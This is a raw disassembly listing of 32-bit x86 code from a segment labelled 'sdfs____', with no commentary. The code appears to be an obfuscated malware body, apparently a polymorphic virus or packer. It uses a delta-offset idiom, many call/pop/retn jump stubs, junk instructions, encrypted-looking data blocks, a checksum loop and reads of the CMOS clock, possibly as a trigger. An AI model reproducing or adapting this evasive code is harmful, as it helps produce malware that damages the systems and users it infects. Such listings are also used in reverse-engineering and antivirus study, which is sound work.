		dd 0BD8B19C3h, 7E920EDh, 0F0DB589h, 95FF07E9h, 7E91F9Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 56C35040h
		dd 850FE421h, 0Ch, 6840Fh, 820F0000h, 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7ECD785h]
		jnz	loc_5D7B57
		adc	bl, 0A3h


loc_5D7B57:				; CODE XREF: sdfs____:005D7B4Ej
		call	dword ptr [ebp+7E90139h]
		mov	bx, 1397h
		cmp	dword ptr [ebp+7E929CDh], 2
		jz	loc_5D7BA6
		push	0
		push	edx
		call	sub_5D7B79
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7B79	proc near		; CODE XREF: sdfs____:005D7B71p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D7B79	endp

; ---------------------------------------------------------------------------
		db 25h,	0Dh, 0DAh
		dd 0B2EFACF9h, 8B414662h, 0E9087585h, 95BF6607h, 0C605h
		dd 2A099D8Bh
		db 0E9h, 7
; ---------------------------------------------------------------------------


loc_5D7BA6:				; CODE XREF: sdfs____:005D7B68j
		mov	dword ptr [ebp+7E924ADh], 0
		and	edi, 5F9A5A75h
		jmp	near ptr dword_5D6A70+43Eh
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5D7BC6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7BC6	proc near		; CODE XREF: sdfs____:005D7BBEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5D7BC6	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [ebx+35BF66C1h], 0C7h
		stc
		lea	eax, [ebp+7E90861h]
		push	0
		push	esi
		call	sub_5D7BEF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7BEF	proc near		; CODE XREF: sdfs____:005D7BE7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5D7BEF	endp

; ---------------------------------------------------------------------------
		cmpsd
		sub	al, 32h
		cld
		mov	bl, dl
		nop
		jl	loc_5D7C0F
		mov	bx, si


loc_5D7C0F:				; CODE XREF: sdfs____:005D7C06j
		push	eax
		push	ebx
		jmp	loc_5D7C1F
; ---------------------------------------------------------------------------
		dw 9407h
		dd 99A1ADAh
; ---------------------------------------------------------------------------
		das
		jecxz	short near ptr word_5D7C42


loc_5D7C1F:				; CODE XREF: sdfs____:005D7C11j
		pop	edi
		nop
		clc
		push	0
		push	0
		push	ecx
		call	sub_5D7C2F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7C2F	proc near		; CODE XREF: sdfs____:005D7C27p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D7C2F	endp

; ---------------------------------------------------------------------------
		db 0FFh
		db 0E8h, 0Eh
word_5D7C42	dw 0			; CODE XREF: sdfs____:005D7C1Dj
		dd 9200F000h, 16A8DBAAh, 0B37AA0BAh, 0E8750089h, 13h, 0B88C6892h
		dd 7EE41C77h, 686D84C6h, 0C92AD151h, 0BC31BC1h,	0E92A5DBDh
		dd 6A5F5B07h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 24983F4Eh, 0EE9h,	43C5CF00h, 55684177h
		dd 9761C03Bh, 8D6C2893h, 0EE40A985h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 989B6299h
		dd 0E5BFB390h, 0B70FE88Fh, 0FD9D8BDEh, 8307E915h, 6A05C0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9D892EC3h, 7E920B9h,	166D9D03h, 958907E9h, 7E920EDh
		dd 0BB6690h, 0BA605022h, 567B79BFh, 0BE665250h,	310F61EEh
		dd 9D82D2BFh, 61585A76h, 6AF890h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 4AC35141h, 0E822D243h, 0Eh
		dd 5A50E101h, 16A6B43Fh, 0E15B28F8h, 0E8562FEAh, 0Fh, 37D3DCBAh
		dd 0E28CCAE8h, 0B4D94EDFh, 5F5DF728h, 6A5F5Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C0C35141h, 0C16D3FC9h
		dd 3C34A57h, 2420BF3Ch,	0BD317961h, 7E90311h, 0FB995FFh
		dd 8D8D07E9h, 7ECD72Ch,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0ECC35545h, 31CA5410h, 0E908E185h, 0ED9D0307h
		dd 0FF07E923h, 0D9BF0FD1h, 1B69BD83h, 0F0107E9h, 7285h
		dd 0DE800h, 422B0000h, 0D464E492h, 93F3BD38h, 66C79564h
		dd 0F95BD88Bh, 9D03026Ah, 7E92985h, 10E85090h, 0F000000h
		dd 412E8BB1h, 0E04623C1h, 0C89BB23Eh, 5F0D4142h, 51006A90h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0F9F901B1h, 0ED7F1A41h, 0FFDFBF0Fh, 0E902CD95h, 66606007h
		dd 0F019BBFh, 8061F1B7h, 0E9618EE0h, 0E92h, 0E8h, 0ED815D00h
		dd 7EE40B3h, 22B58589h,	8D3107E9h, 7E93441h, 0DE8h, 0E583FB00h
		dd 312E3BCBh, 39639BABh, 0BE98DB1h, 8A000000h, 0DE59EA83h
		dd 0A693154Bh, 8D5F82CBh, 0ECB40685h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0A8F05199h, 50C50CD5h, 0FF2133BBh, 2404894Ah, 8B0Fh
		dd 0FF640000h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0BD67A944h, 9D09E018h
		dd 7E92FE9h, 9BF78166h,	2589645Fh, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7E923B1h]
		clc
		inc	dword ptr [ebp+7E90F9Dh]
		mov	edi, 47109DC7h
		push	0FFFFFFFFh
		sub	[ebp+7E93431h],	ecx
		mov	[ebp+7E91FA9h],	edx ; CODE XREF: sdfs____:005D7FA6j
		push	dword ptr [ebp+7E91735h]
		sub	[ebp+7E934C9h],	ebx
		jmp	loc_5D7F57
; ---------------------------------------------------------------------------
		db 0A4h, 66h, 7Fh
		dd 11C49959h, 7193AEECh, 80959FFEh
; ---------------------------------------------------------------------------
		rcl	dl, 1
		popa


loc_5D7F57:				; CODE XREF: sdfs____:005D7F40j
		call	dword ptr [ebp+7E9233Dh]
		jmp	loc_5D80B9
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_5D7F7A
; ---------------------------------------------------------------------------
		dd 0BC68A25Ch, 1D3D3CEAh, 6D1EC628h, 0CB23B46Ah
		db 69h,	3Bh
; ---------------------------------------------------------------------------


loc_5D7F7A:				; CODE XREF: sdfs____:005D7F63j
		pop	edi
		mov	al, 0
		or	[ebp+7E9029Dh],	ebx
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		in	al, 71h		; CMOS Memory
		jmp	loc_5D7F94
; ---------------------------------------------------------------------------
		dd 4332AC66h, 0CD26CBBAh
; ---------------------------------------------------------------------------


loc_5D7F94:				; CODE XREF: sdfs____:005D7F87j
		cmp	al, 61h
		jnb	loc_5D80B9
		call	near ptr loc_5D7FB3+1
		mov	ds:8FF5E9CBh, eax
		js	short near ptr loc_5D7F2E+3
		scasd
		push	eax
		cmp	[ecx], cl
		sbb	eax, 4F318A1Ch
		outsd
		scasb


loc_5D7FB3:				; CODE XREF: sdfs____:005D7F9Cp
		mov	word ptr [ecx-16F31A4Bh], cs
		pop	es
		pop	edi
		movzx	ecx, al
		jmp	loc_5D7FCC
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0A4A86946h, 0F10B29A3h
; ---------------------------------------------------------------------------


loc_5D7FCC:				; CODE XREF: sdfs____:005D7FBEj
		mov	edx, 6
		movzx	edi, di
		or	[ebp+7E929F5h],	ecx
		mov	eax, ecx
		mov	bx, 0AE82h
		jmp	loc_5D7FF7
; ---------------------------------------------------------------------------
		db 0E2h, 86h, 0E8h
		dd 0F7666CF3h, 0EED7A7DBh, 0ABCD6263h
		db 77h,	39h, 1Dh
; ---------------------------------------------------------------------------


loc_5D7FF7:				; CODE XREF: sdfs____:005D7FE0j
		shr	eax, 4
		sbb	di, 0BB15h
		mul	dx
		mov	ebx, [ebp+7E907E9h]
		sub	ecx, eax
		add	[ebp+7E901B9h],	eax
		mov	edx, ecx
		jmp	loc_5D80B9
; ---------------------------------------------------------------------------
		mov	[ebp+7E90775h],	edi
		pusha
		mov	[ebp+7E90B09h],	ebx
		mov	[ebp+7E90FBDh],	esi
		popa
		mov	eax, [ebp+44004E49h]
		jmp	loc_5D8045
; ---------------------------------------------------------------------------
		dw 0BDE2h
		dd 0FD5BD465h, 0C621681Dh, 937BD6F5h
		db 8Ch
; ---------------------------------------------------------------------------


loc_5D8045:				; CODE XREF: sdfs____:005D8031j
		add	eax, 7
		sub	bh, 1Ch
		or	edi, 54AE9B1Ch
		add	eax, 0
		clc
		cmp	edx, eax
		jnb	loc_5D8080
		call	near ptr loc_5D806E+1
		pop	edi
		xchg	eax, esi
		add	eax, 9F8AEA9Ah
		inc	ecx
		sal	byte ptr [edi],	4Fh
		xchg	eax, ebp


loc_5D806E:				; CODE XREF: sdfs____:005D805Dp
		xor	[ecx-16EC6673h], cl
		pop	es
		pop	edi
		jmp	loc_5D80B9
; ---------------------------------------------------------------------------
		sbb	bx, 2EEFh


loc_5D8080:				; CODE XREF: sdfs____:005D8057j
		mov	ecx, [ebp-1]
		mov	[ebp+7E91DD5h],	esi
		and	ecx, 1
		jz	loc_5D80B9
		cmc
		mov	ebx, 3919EFC9h
		and	dword ptr [ebp-1], 0FFFFFFFEh
		mov	edi, 7F70B224h
		mov	[ebp+44004E49h], edx
		mov	edi, 432D0777h
		mov	edi, ecx
		jmp	$+5


loc_5D80B9:				; CODE XREF: sdfs____:005D7F5Dj
					; sdfs____:005D7F96j ...
		lea	esi, [ebp+7EDBB81h]
		jmp	loc_5D80CF
; ---------------------------------------------------------------------------
		dd 0DF7865C9h, 3153DD44h
		db 56h,	0C8h, 37h
; ---------------------------------------------------------------------------


loc_5D80CF:				; CODE XREF: sdfs____:005D80BFj
		push	0
		pusha
		call	sub_5D80E1
		adc	edx, [eax+54F862E4h]
		xchg	eax, edx
		push	esi
		stosd
		cmpsb

; =============== S U B	R O U T	I N E =======================================



sub_5D80E1	proc near		; CODE XREF: sdfs____:005D80D2p
		sub	esi, [ebp+7E92121h]
		pop	ecx
		sub	[ebp+7E92E85h],	ecx
		popa
		call	dword ptr [ebp+7E90C31h]
		push	0
		push	esi
		call	sub_5D8100
		and	[esi-3Dh], bl
sub_5D80E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D8100	proc near		; CODE XREF: sub_5D80E1+17p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5D8100	endp

; ---------------------------------------------------------------------------
		dd 2AE61B9Eh, 5CEF8118h, 231C2B6Ah, 0E91C35BDh,	0F62B907h
		dd 0BD2B0000h, 7E90B89h, 6AFCE183h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 7583C351h
		dd 91052710h, 0B414336Dh, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 31F21421h
		dd 0C5B50947h, 6007E90Ah, 0BE8h, 9D955A00h, 5FCA2D01h
		dd 7B4CCAA8h, 10819D89h, 0E95B07E9h, 9,	82A1EA9Bh, 0C1EA3B47h
		dd 0B86136h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 2D41C356h, 8B96E90Ah
		dd 0E900819Dh, 29958907h, 0BA07E926h, 0
; ---------------------------------------------------------------------------
		add	edi, [ebp+7E92AA5h]


loc_5D81DE:				; CODE XREF: sdfs____:005D81E8j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D81DE
		push	0
		push	esi
		call	sub_5D81F5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D81F5	proc near		; CODE XREF: sdfs____:005D81EDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5D81F5	endp

; ---------------------------------------------------------------------------
		pop	esp
		xchg	dh, [edx]
		add	eax, 617C9D3Eh
		sub	ebx, 64562707h
		jmp	loc_5D822B
; ---------------------------------------------------------------------------
		dd 6D50AA59h, 85E439BCh, 2D40B921h, 7BFDC153h
		db 0F0h, 12h, 0Bh
; ---------------------------------------------------------------------------


loc_5D822B:				; CODE XREF: sdfs____:005D8213j
		push	0
		push	esi
		call	sub_5D8236
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8236	proc near		; CODE XREF: sdfs____:005D822Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5D8236	endp

; ---------------------------------------------------------------------------
		dw 0CD86h
		dd 0FBBB6707h, 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0EF9A78AAh, 7131B470h
		dd 8BFCD42Ch, 0E9320D95h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 965903Ah, 687CBBA0h
		dd 8D8B3C35h, 7E922E5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 27C35242h, 50FC34C7h,	188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0EB9E7E6Ch
		dd 16154457h, 17159529h, 10E907E9h, 5B000000h, 8202E09Ah
		dd 0C0589C2Ah, 72797BA4h, 8391DAF5h, 0E91C2DBDh, 840F0007h
		dd 78h,	0F1DBD8Bh, 0B807E9h, 6A000000h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 48DCC357h
		dd 4D5A8D8Dh, 0BE907E9h, 8E000000h, 0C802F639h,	4B7C7F23h
		dd 0E1FF06A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	6AC35747h, 0C8805DE2h, 3276EB1h, 5DBF6680h, 0AE91Fh
		dd 8CC80000h, 0E8B9B918h, 282323CCh, 22B1BD83h,	0F0007E9h
		dd 44C84h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0E8F01160h, 855EA9CDh, 0B1BD83C3h
		dd 107E922h, 436840Fh, 0BD830000h, 7E922B1h, 0F3860F03h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0B6CEC351h, 0DA8EE952h, 41BD3160h
		dd 6107E92Dh, 11B1BB66h, 8D53BF60h, 8C66222Bh, 52006AD9h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0AEEB67B7h, 25B74990h, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0BBE8C356h
		dd 0EE99Ah, 72CE0000h, 0E1C98A64h, 9DAEEE08h, 6CC1802Ch
		dd 0FC90AF5h, 16884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 11F86549h, 0AE8h, 0DAEC3D00h
		dd 2600C402h, 81FF6624h, 74290FC7h, 858B5F0Fh, 7E90C55h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 26C35343h
		dd 1BDAF7AFh, 14E862h, 15960000h, 30BD330h, 3165C884h
		dd 5D34FDD0h, 35780F2h,	9D8B2AF0h, 7E9307Dh, 0E985335Bh
		dd 6A07E91Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 29BDC355h, 0E9193585h,	214DBB07h
		dd 0E95214C8h, 0Fh, 859856C1h, 0E0AF595Dh, 0B7B84CC1h
		dd 5F0DD204h, 3BBF5390h, 5B7DD621h, 870F50h, 90000000h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BEC35747h
		dd 6AF7B374h, 0B9B50900h, 6807E91Bh, 2DEC4EAFh,	50243481h
		dd 0FF2DF34Dh, 0E902D995h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0D1431F53h
		dd 21F38B24h, 8589B95Fh, 7ECD785h, 0E95CEF80h, 1D7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 81C35747h, 0EE814A2Dh
		dd 7E9E5h, 18210000h, 0B6E04E34h, 7D858B4Ch, 6A07ECD7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0C7AAC351h, 1800h, 619D8B00h, 8B07E91Dh
		dd 0ECD781B5h, 0D1950907h, 8B07E929h, 0E9185985h, 6A068907h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 2530C352h, 7326D940h, 0C55858Bh, 870F07E9h
		dd 0Ch,	7E9h, 0E97F3600h, 11FC6C31h, 89044689h,	0E93449B5h
		dd 66509607h, 9654FABFh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 8BC35747h, 0B5FF3441h, 7ECD77Dh, 0DA68DE8Bh
		dd 50C705F1h, 9E952h, 0CF2D0000h, 7F248539h, 0F3BC5B7h
		dd 6800F31h, 0F000000h,	88h, 81585A00h,	12252404h, 6A3919h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0A57B70C3h, 810FCFABh, 6, 0B0D9509h,	0B58907E9h, 7E92081h
		dd 0D785858Dh, 816607ECh, 0E8BCCADBh, 0Ah, 60EBD100h, 0A07A079Ah
		dd 0DCBFDC3Ah, 5F73A9FCh, 860F6050h, 5,	509771BFh, 0BE847h
		dd 20F90000h, 3A095FF1h, 9B86277Bh, 6E97Ch, 3BD50000h
		dd 0B0E79F40h, 4896158h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 85890F73h, 7E926ADh, 2D995FFh
		dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 2D6DF3C3h, 0F53C0A1Eh, 61FAB70Fh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 77C35343h, 0F56DEBBCh
		dd 85C7292Bh, 7E922B1h,	3, 19A19D0Bh, 0BD8307E9h, 7ECD785h
		dd 0B840F00h, 8B000000h, 0E91F899Dh, 1BE907h, 30500000h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 21023972h, 8C20FED8h, 2F71BD89h,	6A07E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0F07E86C3h, 7E7E4CDFh, 0E380E9B8h, 0B1BD837Dh, 307E922h
		dd 40C850Fh, 0F530000h,	28Fh, 5BDA8B00h, 0D785BD83h, 0F0007ECh
		dd 3F584h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 5FF71A49h, 123CF1BFh, 85B5FFFFh
		dd 907ECD7h, 0E92B3585h, 4995FF07h, 6A07E913h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 3549C357h, 26C94935h, 0BCB6EF81h, 0B58B3AE9h, 7ECD779h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 22C35646h
		dd 4B9CEBCDh, 860F3583h, 1, 106C7F5h, 6A000100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0FC15C352h, 0C717BB50h, 348962F4h, 53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 702CAD31h, 0BC4D64CBh, 95BD8B99h, 0FF07E90Ah, 0ECD785B5h
		dd 0FE8B6607h, 1AB195FFh, 0AE807E9h, 0FE000000h, 0B41A749Bh
		dd 6C5C5793h, 759D2379h, 5F07E92Ch, 0D779B58Bh,	6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 2323DFC3h, 0E901FDBDh, 49858B07h, 6607E924h,	7A01F381h
		dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 594BA2C3h, 0E9BAEC1Dh, 0Bh, 0DB8A0E97h
		dd 0FCCCF348h, 8BFDE3F1h, 0E9320D95h, 14E907h, 0DA040000h
		dd 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0C283DF3Fh
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 46913C1Eh, 0ABC40B36h, 9D8B8D8Ch
		dd 7E908A9h, 6A205089h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0A5E4C355h,	31A16BFEh
		dd 34B337D4h, 0ECA1858Dh, 9D8B07ECh, 7E91CEDh, 0B88689h
		dd 8C0F0000h, 17h, 5E8h, 2FA0F500h, 7E9D110h, 0A2000000h
		dd 5F317A2Eh, 6A5B1349h, 9DBD8B00h, 0FF07E91Ch,	0ECD785B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 95FF858Ch, 7E902CDh, 13E9h, 97DACB00h, 7CAEDF02h
		dd 2F2599E8h, 0F569FD4Fh, 11D44B0Fh, 0BE950h, 2B3B0000h
		dd 6A9178C7h, 0B66C6360h, 24348970h, 316DBD31h,	0B5FF07E9h
		dd 7ECD785h, 0C9858B60h, 8907E91Bh, 0E92E91BDh,	95FF6107h
		dd 7E9302Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	4CC35242h, 93A1FDD7h, 6E8F8h, 0F47B0000h, 0BEADDB75h
		dd 11E9h, 0B08FBD00h, 0B3CD8BFh, 0D249EC7Ah, 0AACDEC0h
		dd 835F8D12h, 0E91EC9BDh, 840F0007h, 32h, 37B85360h, 5F7E64F0h
		dd 12E9h, 0B80A3200h, 2C7A4B55h, 2A5EB497h, 8A25F2E0h
		dd 61296AA0h, 5096DA8Bh, 0CD7353BBh, 0DE8B9643h, 1F199D89h
		dd 0B5FF07E9h, 7ECD785h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 62C35545h, 0BF38B644h, 192A0110h, 68A0Fh
		dd 9D8B0000h, 7E91DFDh,	0F1FDBB66h, 1F9D95FFh, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 69F911C3h, 0B3538129h, 85B5FFE2h, 6A07ECD7h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 4F61C351h, 435AFC9Fh, 0FF30C622h, 0E9013995h, 9D9D2907h
		dd 8307E909h, 0E929CDBDh, 840F0207h, 2Bh, 0F8F0Fh, 0AE90000h
		dd 0B2000000h, 13E01170h, 9B10998Dh, 75858B16h,	0FC07E908h
		dd 2FBD9D8Bh, 0C607E9h,	298D8900h, 0C707E90Eh, 0E924AD85h
		dd 7, 0CB816600h, 8BE9C5BDh, 6AFFFFF2h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9BC9C352h
		dd 39BD8BB9h, 8B07E90Ah, 0E90B319Dh, 8B5B5607h,	57006AC1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0D1E7368Ah, 0FE7BD3E0h, 7E96561h, 0E9000000h, 0BC149BDEh
		dd 858D4616h, 7E90861h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 19C35242h, 0EF63D148h, 0B2BF6623h, 5B501EEh
		dd 9007E90Fh, 13E8h, 7869F600h,	562233D3h, 0FB7E137Bh
		dd 4FB10B69h, 145C9FEFh, 56BB5250h, 0F345E52h, 0AE931h
		dd 38850000h, 10498AE4h, 0AE72C8ABh, 505F585Ah,	0FA8B5250h
		dd 8B66310Fh, 90585AF9h, 6AFA8B66h, 19BB6600h, 0E9006AC3h
		dd 7, 7597C3BEh, 51A9AD9Ch, 8D5FFB8Bh, 0EE510485h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 898D293Dh, 8307E91Bh, 0FB8B05C0h, 897AB750h,	6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 13EBBAC3h, 8ED747EEh, 6A006A38h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EFB1C355h
		dd 6AFB8B66h, 0A99D8B00h, 0FF07E901h, 0E90FB995h, 559D8B07h
		dd 6607E900h, 8D8DDA8Bh, 7ECD72Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 4BC35747h, 19074FD9h, 309B7AB8h
		dd 0DF8BD1FFh, 1B69BD83h, 0F0107E9h, 6D85h, 0CB816600h
		dd 26A7629h, 0BE9h, 72A44900h, 41AAE072h, 0FD82C725h, 505F5290h
		dd 0EE8h, 0DA786A00h, 0FD526206h, 41E7E68Eh, 0BBED7B78h
		dd 7B042B01h, 0AE9905Fh, 0D5000000h, 5E00CCD7h,	218AAC5Eh
		dd 0CD95FF50h, 6A07E902h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0D3CFC352h,	3459BD29h
		dd 64E907E9h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7EE510Eh
		push	0
		push	ecx
		call	sub_5D8EDA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8EDA	proc near		; CODE XREF: sdfs____:005D8ED2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5D8EDA	endp

; ---------------------------------------------------------------------------
		dw 3701h
		dd 0F3048656h, 0F3817B48h, 6C4691D3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0D9C35747h,	1A9D9589h, 858D07E9h
		dd 7ECB406h, 16719D8Bh,	0BF9007E9h, 717F7048h, 0DA8B6650h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 5033E961h, 66B62A7Ch, 528858BFh,	0AB99D8Bh
		dd 645F07E9h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 2957DFC3h, 0E91F0595h
		dd 4DB58907h, 6407E926h, 2589h,	870F0000h, 6, 23A99D89h
		dd 85FF07E9h, 7E90F9Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 3BC35646h, 78AAB1ACh,	6AFF6A9Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0F976C352h, 0E5B58910h, 8B07E91Ch, 0E90E559Dh, 6DB5FF07h
		dd 8B07E92Ch, 0E930D99Dh, 3D95FF07h, 0E907E923h, 11Ch
		dd 2EF9BD8Bh, 0B007E9h,	18D59589h, 70E607E9h, 9E8h, 0E5076B00h
		dd 39A9447h, 0BF669685h, 0E95FE6AAh, 0Ch, 0B600B4F1h, 0FF18A2ACh
		dd 1651828h, 0D88A71E4h, 830F613Ch, 0DCh, 7119D33h, 0B60F07E9h
		dd 6D9D8BC8h, 0BA07E930h, 6, 1541BD8Bh,	0C18B07E9h, 0F7E8EB81h
		dd 0E8C144E6h, 0BE904h,	14DB0000h, 3EA10E7Ch, 0A8EE9A81h
		dd 0E2F766B3h, 0F25BD8Bh, 0C82B07E9h, 14E9h, 882E800h
		dd 0E04AE2F9h, 19A5D1D2h, 9B5B8A8Eh, 5DA7B1F3h,	0E9D18BB3h
		dd 0Bh,	72F1DDC2h, 0BF5B6EFDh, 0E910221Dh, 6Ch,	2EF9BD8Bh
